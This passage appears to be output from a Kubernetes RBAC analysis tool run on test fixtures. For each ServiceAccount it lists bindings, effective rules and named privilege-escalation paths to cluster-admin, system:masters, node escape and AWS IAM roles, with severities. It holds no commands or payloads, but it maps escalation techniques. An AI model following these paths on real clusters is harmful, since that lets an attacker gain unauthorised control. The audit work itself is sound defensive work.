  • RoleBinding/cloud-eks-test/eks-token-minter -> Role/eks-token-minter

Effective verbs: create

Effective rules:
  • create on serviceaccounts/token@core
Privesc paths originating here:
  • ServiceAccount cloud-eks-test/eks-token-minter -> system_masters via token_request -> system_masters (CRITICAL, 3 hops)
  • ServiceAccount cloud-eks-test/eks-token-minter -> User arn:aws:iam::123456789012:role/AdministratorAccess via token_request -> aws_iam_role (HIGH, 2 hops)

ServiceAccount csr-fixtures/sa-csr-mint

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-csr-mint -> ClusterRole/cr-csr-mint

Effective verbs: approve create get list patch update watch

Effective rules:
  • approve on signers@certificates.k8s.io
  • create,get,list,watch on certificatesigningrequests@certificates.k8s.io
  • patch,update on certificatesigningrequests/approval@certificates.k8s.io
Privesc paths originating here:
  • ServiceAccount csr-fixtures/sa-csr-mint -> system_masters via csr_approve -> system_masters (CRITICAL, 1 hop)
  • ServiceAccount csr-fixtures/sa-csr-mint -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount csr-fixtures/sa-csr-mint -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount csr-fixtures/sa-csr-sign

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-csr-sign -> ClusterRole/cr-csr-sign

Effective verbs: patch sign update

Effective rules:
  • patch,update on certificatesigningrequests/status@certificates.k8s.io
  • sign on signers@certificates.k8s.io
Privesc paths originating here:
  • ServiceAccount csr-fixtures/sa-csr-sign -> system_masters via csr_sign -> system_masters (HIGH, 1 hop)
  • ServiceAccount csr-fixtures/sa-csr-sign -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount csr-fixtures/sa-csr-sign -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount cutres/cutres-detour

chain-amplified
Bindings:
  • ClusterRoleBinding/cutres-detour-bind -> ClusterRole/cutres-detour-bind
  • ClusterRoleBinding/cutres-detour-direct -> ClusterRole/cluster-admin
  • RoleBinding/cutres/cutres-detour-binder -> Role/cutres-detour-binder

Effective verbs: * bind create patch update

Effective rules:
  • * on *@*
  • * on @core
  • bind on clusterroles@rbac.authorization.k8s.io
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount cutres/cutres-detour -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount cutres/cutres-detour -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount cutres/cutres-detour -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount cutres/cutres-detour -> namespace_admin via modify_role_binding -> namespace_admin (HIGH, 1 hop)
  • ServiceAccount cutres/cutres-detour -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount cutres/cutres-doublebind

chain-amplified
Bindings:
  • RoleBinding/cutres-pods-a/cutres-pod-creator-a -> Role/cutres-pod-creator
  • RoleBinding/cutres-pods-b/cutres-pod-creator-b -> Role/cutres-pod-creator

Effective verbs: create

Effective rules:
  • create on pods@core
Privesc paths originating here:
  • ServiceAccount cutres/cutres-doublebind -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount cutres/cutres-doublebind -> system_masters via pod_create_privileged_escape -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount cutres/cutres-doublebind -> generic via pod_create_privileged_escape -> generic (HIGH, 2 hops)

ServiceAccount cutres/cutres-parallel

chain-amplified
Bindings:
  • ClusterRoleBinding/cutres-parallel-a -> ClusterRole/cluster-admin
  • ClusterRoleBinding/cutres-parallel-b -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount cutres/cutres-parallel -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount cutres/cutres-parallel -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount cutres/cutres-parallel -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount cutres/cutres-parallel -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount deepchain-tenant/deepchain-binder

chain-amplified
Bindings:
  • ClusterRoleBinding/deepchain-binder-bind -> ClusterRole/deepchain-binder-bind
  • RoleBinding/deepchain-tenant/deepchain-binder -> Role/deepchain-binder

Effective verbs: bind create patch update

Effective rules:
  • bind on clusterroles@rbac.authorization.k8s.io
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount deepchain-tenant/deepchain-binder -> cluster_admin via modify_role_binding -> cluster_admin (CRITICAL, 3 hops)
  • ServiceAccount deepchain-tenant/deepchain-binder -> node_escape via modify_role_binding -> node_escape (HIGH, 3 hops)
  • ServiceAccount deepchain-tenant/deepchain-binder -> system_masters via modify_role_binding -> system_masters (HIGH, 4 hops)
  • ServiceAccount deepchain-tenant/deepchain-binder -> namespace_admin via modify_role_binding -> namespace_admin (HIGH, 1 hop)
  • ServiceAccount deepchain-tenant/deepchain-binder -> generic via modify_role_binding -> generic (HIGH, 3 hops)

ServiceAccount deepchain-tenant/deepchain-privileged

chain-amplified
Bindings:
  • ClusterRoleBinding/deepchain-privileged -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount deepchain-tenant/deepchain-privileged -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount deepchain-tenant/deepchain-privileged -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount deepchain-tenant/deepchain-privileged -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount deepchain-tenant/deepchain-privileged -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount flux-system/kustomize-controller

chain-amplified
Bindings:
  • ClusterRoleBinding/deepchain-flux-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount flux-system/kustomize-controller -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount flux-system/kustomize-controller -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount flux-system/kustomize-controller -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount flux-system/kustomize-controller -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount foothold-exec/foothold-decoy-sa

chain-amplified
Bindings:
  • ClusterRoleBinding/foothold-decoy-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount foothold-exec/foothold-decoy-sa -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount foothold-exec/foothold-decoy-sa -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount foothold-exec/foothold-decoy-sa -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount foothold-exec/foothold-decoy-sa -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount foothold-ops/foothold-execer

chain-amplified
Bindings:
  • RoleBinding/foothold-fixtures/foothold-execer -> Role/foothold-execer

Effective verbs: create

Effective rules:
  • create on pods/exec@core
Privesc paths originating here:
  • ServiceAccount foothold-ops/foothold-execer -> node_escape via pod_exec -> node_escape (CRITICAL, 2 hops)
  • ServiceAccount foothold-ops/foothold-execer -> system_masters via pod_exec -> system_masters (CRITICAL, 3 hops)
  • ServiceAccount foothold-ops/foothold-execer -> generic via pod_exec -> generic (HIGH, 3 hops)

ServiceAccount hookbackend-fixtures/apisvc-installer

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-apisvc-installer -> ClusterRole/cr-apisvc-installer

Effective verbs: get list update

Effective rules:
  • get,list,update on apiservices@apiregistration.k8s.io
Privesc paths originating here:
  • ServiceAccount hookbackend-fixtures/apisvc-installer -> cluster_admin via apiservice_takeover -> cluster_admin (CRITICAL, 1 hop)

ServiceAccount hookbackend-fixtures/hookbackend-operator

chain-amplified
Bindings:
  • RoleBinding/hookbackend-fixtures/hookbackend-operator -> Role/hookbackend-operator

Effective verbs: get list patch

Effective rules:
  • get on secrets@core
  • get,list,patch on services@core
Privesc paths originating here:
  • ServiceAccount hookbackend-fixtures/hookbackend-operator -> node_escape via control_plane_backend_hijack -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount hookbackend-fixtures/hookbackend-operator -> system_masters via control_plane_backend_hijack -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount hookbackend-fixtures/hookbackend-operator -> traffic_intercept via service_backend_rewrite -> traffic_intercept (HIGH, 1 hop)
  • ServiceAccount hookbackend-fixtures/hookbackend-operator -> generic via control_plane_backend_hijack -> generic (HIGH, 2 hops)

ServiceAccount local-path-storage/local-path-provisioner-service-account

chain-amplified
Bindings:
  • ClusterRoleBinding/local-path-provisioner-bind -> ClusterRole/local-path-provisioner-role
  • RoleBinding/local-path-storage/local-path-provisioner-bind -> Role/local-path-provisioner-role

Effective verbs: create delete get list patch update watch

Effective rules:
  • create,delete,get,list,patch,update,watch on persistentvolumes@core
  • create,delete,get,list,patch,update,watch on pods@core
  • create,patch on events@core
  • get,list,watch on configmaps@core
  • get,list,watch on nodes@core
  • get,list,watch on persistentvolumeclaims@core
  • get,list,watch on pods/log@core
  • get,list,watch on storageclasses@storage.k8s.io
Privesc paths originating here:
  • ServiceAccount local-path-storage/local-path-provisioner-service-account -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount local-path-storage/local-path-provisioner-service-account -> system_masters via pod_create_privileged_escape -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount local-path-storage/local-path-provisioner-service-account -> generic via pod_create_privileged_escape -> generic (HIGH, 2 hops)

ServiceAccount map-fixtures/sa-mutating-policy

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-mutating-policy -> ClusterRole/cr-mutating-policy

Effective verbs: create patch update

Effective rules:
  • create,patch,update on mutatingadmissionpolicies@admissionregistration.k8s.io
  • create,patch,update on mutatingadmissionpolicybindings@admissionregistration.k8s.io
Privesc paths originating here:
  • ServiceAccount map-fixtures/sa-mutating-policy -> node_escape via mutating_policy_inject -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount map-fixtures/sa-mutating-policy -> system_masters via mutating_policy_inject -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount map-fixtures/sa-mutating-policy -> generic via mutating_policy_inject -> generic (HIGH, 2 hops)

ServiceAccount nodeid-fixtures/nodeid-joiner

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-nodeid-joiner -> ClusterRole/cr-nodeid-joiner

Effective verbs: create get list watch

Effective rules:
  • create on certificatesigningrequests/nodeclient@certificates.k8s.io
  • create,get,list,watch on certificatesigningrequests@certificates.k8s.io
Privesc paths originating here:
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> cluster_admin via csr_nodeclient_autoapprove -> cluster_admin (CRITICAL, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> system_masters via csr_nodeclient_autoapprove -> system_masters (CRITICAL, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> node_identity via csr_nodeclient_autoapprove -> node_identity (HIGH, 1 hop)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> node_escape via csr_nodeclient_autoapprove -> node_escape (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> kube_system_secrets via csr_nodeclient_autoapprove -> kube_system_secrets (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> User arn:aws:iam::123456789012:role/AdministratorAccess via csr_nodeclient_autoapprove -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via csr_nodeclient_autoapprove -> aws_iam_role (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> namespace_admin via csr_nodeclient_autoapprove -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> namespace_admin via csr_nodeclient_autoapprove -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> namespace_admin via csr_nodeclient_autoapprove -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> traffic_intercept via csr_nodeclient_autoapprove -> traffic_intercept (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-joiner -> generic via csr_nodeclient_autoapprove -> generic (HIGH, 3 hops)

ServiceAccount nodeid-fixtures/nodeid-tokenwriter

chain-amplified
Bindings:
  • RoleBinding/kube-system/nodeid-tokenwriter -> Role/nodeid-tokenwriter

Effective verbs: create

Effective rules:
  • create on secrets@core
Privesc paths originating here:
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> cluster_admin via bootstrap_token_mint -> cluster_admin (CRITICAL, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> system_masters via bootstrap_token_mint -> system_masters (CRITICAL, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> node_identity via bootstrap_token_mint -> node_identity (HIGH, 1 hop)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> node_escape via bootstrap_token_mint -> node_escape (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> kube_system_secrets via bootstrap_token_mint -> kube_system_secrets (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> User arn:aws:iam::123456789012:role/AdministratorAccess via bootstrap_token_mint -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via bootstrap_token_mint -> aws_iam_role (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> traffic_intercept via bootstrap_token_mint -> traffic_intercept (HIGH, 4 hops)
  • ServiceAccount nodeid-fixtures/nodeid-tokenwriter -> generic via bootstrap_token_mint -> generic (HIGH, 3 hops)

ServiceAccount privesc-fixtures/sa-ephemeral

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-ephemeral -> ClusterRole/cr-ephemeral

Effective verbs: patch update

Effective rules:
  • patch,update on pods/ephemeralcontainers@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-ephemeral -> cluster_admin via ephemeral_container_inject -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> system_masters via ephemeral_container_inject -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> node_escape via ephemeral_container_inject -> node_escape (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> kube_system_secrets via ephemeral_container_inject -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> User arn:aws:iam::123456789012:role/AdministratorAccess via ephemeral_container_inject -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> node_identity via ephemeral_container_inject -> node_identity (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via ephemeral_container_inject -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> namespace_admin via ephemeral_container_inject -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> namespace_admin via ephemeral_container_inject -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> namespace_admin via ephemeral_container_inject -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> traffic_intercept via ephemeral_container_inject -> traffic_intercept (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-ephemeral -> generic via ephemeral_container_inject -> generic (HIGH, 2 hops)

ServiceAccount privesc-fixtures/sa-pod-create-escape

chain-amplified
Bindings:
  • RoleBinding/privesc-fixtures/rb-pod-create-escape -> Role/r-pod-create-escape

Effective verbs: create

Effective rules:
  • create on pods@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> cluster_admin via pod_create_token_theft -> cluster_admin (CRITICAL, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> system_masters via pod_create_privileged_escape -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> kube_system_secrets via pod_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> node_identity via pod_create_token_theft -> node_identity (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via pod_create_token_theft -> aws_iam_role (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-pod-create-escape -> traffic_intercept via pod_create_token_theft -> traffic_intercept (HIGH, 4 hops)

ServiceAccount privesc-fixtures/sa-pod-exec

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-pod-exec -> ClusterRole/cr-pod-exec

Effective verbs: create get

Effective rules:
  • create,get on pods/exec@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-pod-exec -> cluster_admin via pod_exec -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> system_masters via pod_exec -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> node_escape via pod_exec -> node_escape (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> kube_system_secrets via pod_exec -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_exec -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> node_identity via pod_exec -> node_identity (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via pod_exec -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> namespace_admin via pod_exec -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> namespace_admin via pod_exec -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> namespace_admin via pod_exec -> namespace_admin (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> traffic_intercept via pod_exec -> traffic_intercept (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-pod-exec -> generic via pod_exec -> generic (HIGH, 2 hops)

ServiceAccount privesc-fixtures/sa-secret-mint

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-secret-mint -> ClusterRole/cr-secret-mint

Effective verbs: create get

Effective rules:
  • create,get on secrets@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-secret-mint -> cluster_admin via bootstrap_token_mint -> cluster_admin (CRITICAL, 3 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> system_masters via bootstrap_token_mint -> system_masters (CRITICAL, 3 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> node_identity via bootstrap_token_mint -> node_identity (HIGH, 1 hop)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> node_escape via bootstrap_token_mint -> node_escape (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> User arn:aws:iam::123456789012:role/AdministratorAccess via bootstrap_token_mint -> aws_iam_role (HIGH, 3 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> generic via secret_mint_token -> generic (HIGH, 1 hop)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via bootstrap_token_mint -> aws_iam_role (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> namespace_admin via bootstrap_token_mint -> namespace_admin (HIGH, 4 hops)
  • ServiceAccount privesc-fixtures/sa-secret-mint -> traffic_intercept via bootstrap_token_mint -> traffic_intercept (HIGH, 4 hops)

ServiceAccount psaflip-fixtures/psaflip-flipper

chain-amplified
Bindings:
  • RoleBinding/psaflip-fixtures/psaflip-namespace-and-pods -> Role/psaflip-namespace-and-pods

Effective verbs: create get list patch

Effective rules:
  • create,get,list on pods@core
  • get,patch on namespaces@core
Privesc paths originating here:
  • ServiceAccount psaflip-fixtures/psaflip-flipper -> node_escape via namespace_psa_label_flip -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount psaflip-fixtures/psaflip-flipper -> system_masters via namespace_psa_label_flip -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount psaflip-fixtures/psaflip-flipper -> generic via namespace_psa_label_flip -> generic (HIGH, 2 hops)

ServiceAccount rbac-fixtures/sa-bind-escalate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-bind-escalate -> ClusterRole/cr-bind-escalate

Effective verbs: bind create escalate patch update

Effective rules:
  • bind,create,escalate,patch,update on clusterroles@rbac.authorization.k8s.io
  • bind,create,escalate,patch,update on roles@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-bind-escalate -> cluster_admin via bind_or_escalate -> cluster_admin (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-cluster-admin

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-cluster-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-cluster-admin -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-impersonate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-impersonate -> ClusterRole/cr-impersonate

Effective verbs: impersonate

Effective rules:
  • impersonate on groups@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-impersonate -> cluster_admin via impersonate -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-impersonate -> system_masters via impersonate_system_masters -> system_masters (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-impersonate -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount rbac-fixtures/sa-impersonate -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount rbac-fixtures/sa-nodes-proxy

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-nodes-proxy -> ClusterRole/cr-nodes-proxy

Effective verbs: get

Effective rules:
  • get on nodes/proxy@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-nodes-proxy -> node_escape via nodes_proxy -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-nodes-proxy -> system_masters via nodes_proxy -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-nodes-proxy -> generic via nodes_proxy -> generic (HIGH, 2 hops)

ServiceAccount rbac-fixtures/sa-pod-create

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-pod-create -> ClusterRole/cr-pod-create

Effective verbs: create

Effective rules:
  • create on pods@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-pod-create -> cluster_admin via pod_create_token_theft -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> system_masters via pod_create_token_theft -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-pod-create -> kube_system_secrets via pod_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> node_identity via pod_create_token_theft -> node_identity (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> traffic_intercept via pod_create_token_theft -> traffic_intercept (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-pod-create -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)

ServiceAccount rbac-fixtures/sa-rolebinding-mutate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-rolebinding-mutate -> ClusterRole/cr-rolebinding-mutate

Effective verbs: bind create patch update

Effective rules:
  • bind on clusterroles@rbac.authorization.k8s.io
  • bind on roles@rbac.authorization.k8s.io
  • create,patch,update on clusterrolebindings@rbac.authorization.k8s.io
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-rolebinding-mutate -> cluster_admin via modify_role_binding -> cluster_admin (CRITICAL, 1 hop)

ServiceAccount rbac-fixtures/sa-token-create

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-token-create -> ClusterRole/cr-token-create

Effective verbs: create

Effective rules:
  • create on serviceaccounts/token@core
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-token-create -> cluster_admin via token_request -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> system_masters via token_request -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> node_escape via token_request -> node_escape (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> kube_system_secrets via token_request -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> node_identity via token_request -> node_identity (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> User arn:aws:iam::123456789012:role/AdministratorAccess via token_request -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via token_request -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> namespace_admin via token_request -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> namespace_admin via token_request -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> namespace_admin via token_request -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> traffic_intercept via token_request -> traffic_intercept (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-token-create -> generic via mint_arbitrary_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-wildcard

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-wildcard -> ClusterRole/cr-wildcard

Effective verbs: *

Effective rules:
  • * on *@*
Privesc paths originating here:
